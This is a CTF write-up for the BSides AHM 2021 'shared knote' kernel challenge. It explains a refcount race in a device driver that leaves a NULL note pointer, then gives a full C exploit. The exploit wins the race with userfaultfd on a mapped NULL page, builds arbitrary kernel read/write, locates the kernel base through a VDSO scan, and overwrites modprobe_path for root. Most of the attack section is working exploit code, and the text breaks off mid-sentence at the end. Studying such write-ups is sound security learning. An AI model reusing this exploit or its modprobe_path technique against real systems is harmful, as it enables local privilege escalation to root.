shared knote - BSides AHM 2021
Challenge Overview
Kernel Exploit challenge!
- KASLR: Enabled
- SMAP: Disabled
- SMEP: Disabled
- KPTI: Enabled
The driver implements open
, read
, write
, seek
, and close
handlers.
You can store data to the following memo structure.
The driver doesn't acquire lock on open
so multiple users can open the device at once.
The reference counter prevents race condition by the resource sharing. It allocates the buffer in the first open
and it just increments the reference counter after that.
The counter gets decremented by calling close
. If the counter becomes 0, the buffer is actually freed.
Vulnerability
The driver doesn't acquire lock to make it possible to share the buffer with multiple users. However, it SHOULD take lock during the open and close handler.
For example, the operation of reference counter is atomic but the whole function is not atomic. So the handler itself it not thread-safe.
This causes a serious problem.
If the context switches right before the end of module_open
to the middle of module_close
, the following happens:
- Decrement refcnt (1 –> 0)
- Increment refcnt (0 –> 1)
- Allocate note
- Allocate buffer
<– context switch
- noteptr = NULL
So, sknote.noteptr
can be NULL even when refcnt
is not zero.
Since the program doesn't check noteptr
, NULL pointer dereference happens in some functions:
Checking /proc/sys/vm/mmap_min_addr
, you'll notice the user can map to NULL page. Combining this fact with the vulnerability, the attacker can control the value of note->data
and note->length
.
Once you control them, it's easy to create Arbitrary Address Read and Write What Where primitives.
Exploit
This is the hardest pwn in this CTF. It's not that easy.
Winning the Race
You need to stop trying the race condition right after noteptr
becomes NULL with a positive refcnt. Because otherwise, the next close
or open
call will try to free NULL and crashes.
One idea is using read
or write
to see if you could actually create AAR/AAW. However, you need to call read
or write
after open
, which is very slow compared to close
. So, this method is very unlikely successfull.
My idea is using userfaultfd against the NULL page. If you set a page fault handler to the NULL page, you will receive a notification when the driver tries to access NULL pointer.
You can control the note struct during the process of userfaultfd and quit the race loop.
Bypassing KASLR
We need to bypass KASLR even though we got AAR and AAW. How?
The AAR/AAW is realized by copy_to_user
and copy_from_user
. Both of them are designed very safe. It checks the accessibility of the address before trying to copy data. This means our AAR/AAW will never crash even if the address is invalid.
So, you can simply brute force the address to find the kernel base or credential store. As far as I know, however, these methods take a bit long time to find the address.
My method is searching for VDSO region. VDSO is easy to spot and it's near the kernel data region. You can find modprobe_path
from VDSO.
Full Exploit
#define _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
#include <errno.h>
#include <poll.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/un.h>
#include <sys/xattr.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include "userfaultfd.h"
typedef struct {
ssize_t length;
char *data;
} note_t;
void fatal(const char *msg) {
perror(msg);
exit(0);
}
int win = 0;
static int page_size;
static void *fault_handler_thread(void *arg) {
unsigned long value;
static struct uffd_msg msg;
static int fault_cnt = 0;
long uffd;
static char *page = NULL;
struct uffdio_copy uffdio_copy;
int len, i;
if (page == NULL) {
page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) fatal("mmap (userfaultfd)");
}
uffd = (long)arg;
for(;;) {
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
len = poll(&pollfd, 1, -1);
if (len == -1) fatal("poll");
win = 1;
printf("[+] fault_handler_thread():\n");
printf(" poll() returns: nready = %d; "
"POLLIN = %d; POLLERR = %d\n", len,
(pollfd.revents & POLLIN) != 0,
(pollfd.revents & POLLERR) != 0);
len = read(uffd, &msg, sizeof(msg));
if (len == 0) fatal("userfaultfd EOF");
if (len == -1) fatal("read");
if (msg.event != UFFD_EVENT_PAGEFAULT) fatal("msg.event");
printf("[+] UFFD_EVENT_PAGEFAULT event: \n");
printf(" flags = 0x%lx\n", msg.arg.pagefault.flags);
printf(" address = 0x%lx\n", msg.arg.pagefault.address);
switch(fault_cnt) {
case 0: {
uffdio_copy.src = (unsigned long)page;
break;
}
default:
puts("[-] Ponta?");
getchar();
break;
}
uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
fatal("ioctl: UFFDIO_COPY");
printf("[+] uffdio_copy.copy = %ld\n", uffdio_copy.copy);
fault_cnt++;
}
}
void setup_pagefault(void *addr, unsigned size) {
long uffd;
pthread_t th;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
page_size = sysconf(_SC_PAGE_SIZE);
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
fatal("userfaultfd");
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
fatal("ioctl: UFFDIO_API");
uffdio_register.range.start = (unsigned long)addr;
uffdio_register.range.len = size;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
fatal("ioctl: UFFDIO_REGITER");
if (pthread_create(&th, NULL, fault_handler_thread, (void*)uffd))
fatal("pthread_create");
}
void *race(void *arg) {
int *fds = (int*)arg;
char buf[0x100];
while (!win) {
for (int i = 0; !win && (i < 0x100); i++)
close(fds[i]);
usleep(1);
}
return NULL;
}
int main() {
pthread_t th;
int fd, fds[0x100] = { 0 };
char *p, *buf = malloc(0x1000);
note_t *nullptr = (note_t*)mmap((void*)0, 0x1000, PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED,
-1, 0);
if (nullptr == MAP_FAILED)
fatal("mmap");
setup_pagefault(nullptr, 0x1000);
alarm(1);
puts("[+] Race...");
pthread_create(&th, NULL, race, (void*)fds);
while (!win) {
for (int i = 0; !win && (i < 0x100); i++)
fds[i] = open("/dev/sknote", O_RDWR);
usleep(1);
}
pthread_join(th, NULL);
alarm(0);
nullptr->length = 6;
nullptr->data = "Hello!";
for (int i = 0; i < 0x100; i++) {
if (read(fds[i], buf, 0x10) == 6) {
puts("[+] Hit!");
fd = fds[i];
break;
}
if (i == 0xff) {
puts("[-] Bad luck!");
exit(1);
}
}
puts("[+] Searching VDSO...");
unsigned long search_base = 0;
nullptr->length = 8;
for (size_t addr = 0xffffffff80000000;
addr < 0xffffffffffffb000;
addr += 0x1000) {
if (addr % 0x100000000 == 0)
printf("Searching 0x%lx...\n", addr);
nullptr->data = (void*)addr;
lseek(fd, 0, SEEK_SET);
if (read(fd, buf, 8) != 8) continue;
if (memcmp(buf, "\x7f\x45\x4c\x46\x02\x01\x01\x00", 8) != 0) continue;
nullptr->length = 0x1000;
lseek(fd, 0, SEEK_SET);
read(fd, buf, 0x1000);
if (memmem(buf, 0x1000, "clock_gettime", 13)) {
search_base = addr & 0xffffffffff000000;
search_base -= 0x2000000;
printf("[+] vdso: 0x%lx\n", addr);
printf("[+] rough kbase: 0x%lx\n", search_base);
break;
}
nullptr->length = 8;
}
if (search_base == 0) {
puts("[-] Bad luck!");
exit(1);
}
unsigned long kbase = 0;
nullptr->length = 15;
for (unsigned long addr = search_base;
addr < search_base + 0x10000000;
addr += 0x100000) {
nullptr->data = (void*)(addr + 0x1036000);
lseek(fd, 0, SEEK_SET);
read(fd, buf, 15);
if (strcmp(buf, "/sbin/poweroff") == 0) {
kbase = addr;
printf("[+] kbase = 0x%lx\n", kbase);
break;
}
}
if (kbase == 0) {
puts("[-] Bad luck!");
exit(1);
}
nullptr->length = 0x1000;
nullptr->data = (void*)(kbase + 0x10367c0);
lseek(fd, 0, SEEK_SET);
write(fd, "/tmp/hal", 9);
nullptr->length = 0;
nullptr->data = NULL;
for (int i = 0; i < 0x1000; i++) {
close(i);
}
return 0;
}
After running this exploit, just write
and run